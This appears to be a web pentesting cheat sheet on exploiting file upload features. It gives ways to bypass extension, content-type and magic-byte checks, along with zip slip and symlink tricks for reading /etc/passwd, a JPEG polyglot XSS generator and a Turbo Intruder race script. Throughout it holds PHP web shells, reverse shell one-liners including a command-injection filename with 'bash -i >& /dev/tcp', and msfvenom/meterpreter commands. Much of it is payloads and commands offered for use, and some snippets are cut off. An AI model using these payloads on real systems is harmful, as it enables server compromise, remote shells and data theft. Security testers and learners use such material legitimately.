File Upload Attack

Last modified: 2023-11-11


It is often used for gaining access to the target shell using Reverse Shell, or getting sensitive information using Remote Code Execution (RCE).

Check Allowed File Formats

First off, we need to know what file types are allowed to be uploaded in target website.
Try to upload any formats.

.php, .php3, .php4, .php5, .phtml, .phar
.jpg, jpeg, .png, .gif
.exe, .dll, .asp, .aspx

Create Blank Files for Each Format

To create a blank file for the checking purpose, execute the following command.

  • jpg, png
convert -size 32x32 xc:white test.jpg
convert -size 32x32 xc:white test.png
  • pdf
convert xc:none -page Letter a.pdf

Bypass File Extension Validation

We might be able to bypass file extension validation by modifying the filename.
For example, if we cannot upload a pure .php file extension, tweak the filename a bit as below.






Bypass Content-Type Validation

We might be able to bypass the content type validation by modifying that.
For example, assume that we want to upload PHP file to execute webshell or reverse shell, but PHP files are rejected by the website.
In this situation, we might be able to bypass the validation by modifying the "Content-Type" from "application/x-php" to other types such as "image/jpeg", "plain/text" etc.
Here is the example.

Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpeg <!-- Change this. Try other types such as image/gif, plain/text, etc. -->

<?php echo system($_GET['cmd']); ?>


Change Upload Location by Filename

We might be able to upload our file to unintended location by path traversing with filename e.g. ../example.php or ..%2Fexample.php.

Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php" <!-- Change this. -->
Content-Type: application/x-php

<?php echo system($_GET['cmd']); ?>


Overwrite Server Configuration

We might be able to overwrite the web server configuration file such as ".htaccess", ".htpasswd" by specifying the filename to the name of the config file and write desired contents of that.

Content-Disposition: form-data; name="avatar"; filename=".htaccess" <!-- Specify the name of config file -->
Content-Type: text/plain

AddType application/x-httpd-php .abc


Magic Bytes

Reference: Wikipedia

If the website checks the magic byte of the uploaded file for allowing only image files to be uploaded, we might be able to bypass this validation by adding magic bytes before the actual payload.

The exif_imagetype() PHP function is likely to be used for such validation.
In addition, we may need to change other values such as "Content-Type" depending on the situation.


Hex Signature ISO 8859-1
89 50 4E 47 0D 0A 1A 0A ‰PNG␍␊␚␊

Payload example:

<?php echo system($_GET['cmd']); ?>


Hex Signature ISO 8859-1
FF D8 FF EE ÿØÿî
FF D8 FF E0 ÿØÿà
FF D8 FF E0 00 10 4A 46 49 46 00 01 ÿØÿà␀␐JFIF␀␁

Payload example:

<?php echo system($_GET['cmd']); ?>

// or

<?php echo system($_GET['cmd']); ?>

// or

<?php echo system($_GET['cmd']); ?>


Hex Signature ISO 8859-1
25 50 44 46 2D %PDF-

Payload example:

<?php echo system($_GET['cmd']); ?>


Reference: Web Design in a Nutshell

  • GIF87a: The original format for indexed color images. It uses LZW compression and has the option of being interlaced.
  • GIF89a: Is the same as GIF87a but also includes transparancy and animation capabilities.
Hex Signature ISO 8859-1
47 49 46 38 37 61 GIF87a
47 49 46 38 39 61 GIF89a

Payload example:

<?php echo system($_GET['cmd']); ?>

// or

<?php echo system($_GET['cmd']); ?>


Hex Signature ISO 8859-1
52 49 46 46 ?? ?? ?? ?? 57 41 56 45 RIFF????WAVE

Payload example:

<?php echo system($_GET['cmd']); ?>


If target website restricts uploads to zip files only, the website (server) may unzip uploaded files internally and displays the result of decompressed file somewhere e.g. /upload/example.txt.

Zip Slip

Create a file containing ‘../’ in the filename, and compress this file.

echo '<?php echo system("id");?>' > '../test.php'
zip '../test.php'

After uploading the zip file, target website (server) will decompress this file and may store the test.php file into unexpected directory.

In local machine, create a symbolic link for a sensitive file. Then compress the symlink with zip.

ln -s /etc/passwd passwd.txt
zip --symlink passwd.txt

When we upload the zip file to target website, the website decompress the zip file and may display the file of the symbolic link (/etc/passwd, etc.). In short, we may be able to see the contents of the sensitive file.

JPEG Polyglot XSS


We may be able to inject XSS by inserting arbitrary JavaScript code into a JPEG file.
We can generate automatically a polyglot JPEG with imgjs_polygloter.

Below is the manual exploitation flow.

1. Prepare JPEG Image

Here we create a blank JPEG image using convert command.

convert -size 100x100 xc:white evil.jpg

# Backup for reproduction
cp evil.jpg evil_original.jpg

2. Create XSS Payload in Hex

We will insert the following JavaScript code.


To insert it into JPEG file, we need to convert this to HEX as below:

2A 2F 3D 61 6C 65 72 74 28 22 74 65 73 74 22 29 3B 2F 2A

3. Start Hex Editor

Start Hex editor to modify our evil.jpg. We use ghex here but you can use your favorite HEX editor.

ghex evil.jpg

The original hex representation of the evil.jpg is as such follow:

FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 48 00 ...

# Details of the Hex
# FF D8: Start of image
# FF E0: Application default header
# 00 10: The length of the JPEG header (`00 10` represents 16 bytes)

4. Insert Our JavaScript into JPEG File

Now start inserting our payload.
First we replace 00 10 after FF D8 FF E0 with our 2F 2A (/*).

FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 ...

By this, the length of the JPEG header is 12074 bytes (0x2F2A in decimal).

Since the size of our payload is 19 bytes as below:

>>> payload = b'*/=alert("test");/*'
>>> len(payload)

We need to pad out the remaining 12042 bytes (12074 - 16 - 19) with nulls.
Below is the Python code example to generate a polyglot JPEG file, which refers to

payload = b'*/=alert("test");/*'
input_file = 'evil_original.jpg'
output_file = 'evil.jpg'

a = open(input_file, 'rb').read()

# Get the length of the header
header_size = int(a.hex()[8:12], 16)
new_header_size = int(payload.hex()[2:4]+payload.hex()[:2], 16)

# Calculate the size of nulls for padding
null_size = new_header_size - header_size - 16

# Get start and end
start = a[:40]
end = a.hex()[40:]
end = bytearray([int(end[i:i+2], 16) for i in range(0, len(end), 2)])

res = start + (null_size * b'\x00') + payload + end

with open(output_file, 'wb') as f:

5. XSS with this JPEG

Inject XSS to make our JPEG to execute JavaScript code. We need to set charset to ISO-8859-1 for executing that.

<script charset="ISO-8859-1" src="evil.jpg">

Malicious Filnames

Command Injection

# If the response comes after 10 seconds, the command injection is successful.
test.jpg;sleep 10
test.jpg;sleep 10#
test.jpg;sleep 10%00
test.jpg|sleep 10
test.jpg%0Asleep 10
;sleep 10 test.jpg

# Reverse Shell
test.jpg;bash -i >& /dev/tcp/ 0>&1

PHP Injection

<?php echo system('id');?>.jpg
"><?php echo system('id');?>.jpg







HTML Injection

Try to upload the file which includes HTML tags in the filename. It may affect the web page.


<!-- `&sol;`: HTML entiry for '/' -->
"><iframe src="http:&sol;&sol;">.jpg

"><img src=x onerror=alert(document.domain).jpg

"><form action="//" method="GET"><input type="text" name="username" style="opacity:0;"><input type="password" name="password" style="opacity:0;"><input type="submit" name="submit" value="submit"><!--.jpg

SQL Injection

Try to upload the file which includes SQL command in the filename. It may execute SQL Injection when uploading or other situations.


Race Condition Attack

We might be able to bypass/execute payload using race condition.
We can easily achieve that with Turbo Intruder in Burp Suite.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,

    request_post = '''POST /avatar/upload HTTP/1.1
Connection: close

Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/x-php

<?php echo file_get_contents('/etc/passwd');  ?>



    request_get = '''GET /files/avatars/exploit.php HTTP/1.1
Connection: close


    engine.queue(request_post, gate='race1')
    for i in range(5):
        engine.queue(request_get, gate='race1')


def handleResponse(req, interesting):

PHP Payloads

After finding vulnerability, we can create a payload for exploiting the website.
Here is the example payloads of web shell and reverse shell to compromise target system.

Web Shell

For example, the file name is "exploit.php".

// Simply showing the result of 'whoami'.
<?php echo system('whoami'); ?>

// This shows the content of "/etc/passwd".
<?php echo file_get_contents('/etc/passwd');  ?>

// We can execute arbitrary commands by passing the url parameter e.g. "/exploit.php?cmd=whoami"
<?php echo system($_GET['cmd']); ?>

Reverse Shell for Linux

wget -O shell.php
# or
cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php

# Edit some variables in the payload
$ip = '<attacker-ip>'
$port = 4444

Or we might be able to use the following simple script.

<?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'"); ?>

Then open listener for getting a shell.

nc -lvnp 4444

After uploading it, reload the page in which the payload uploaded e.g. "/upload/shell.php".

Reverse Shell for Windows

First create a malicious executable file using msfvenom.
Replace with your local ip.

# -f: Format
# -p: Payload
# -o: Output file
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe -o cv-username.exe

Next start a listener for getting the target shell.

# -x: Execute command
sudo msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST; set LPORT 4444; exploit"

After getting the shell, we will get in the meterpreter, so we need to know the meterpreter’s commands. To get a list of command, run the following in the meterpreter.

# Usage command
meterpreter> ?

Other Tips

Craft Upload Request

If website does not display the upload page but such functionality exists on the website, we can manually create the uploading request.
First off, we need to set multipart/form-data; boundary=<arbitrary_characters> to Content-Type in HTTP headers as below.
Of course we need to specify the POST method at the top of the header.

Content-Type: multipart/form-data; boundary=abcdef

Then we can surround POST body (to upload file) with this boundary as the following.

Content-Disposition: form-data; name="profile"; filename="test.png"
Content-Type: image/jpeg

some code here...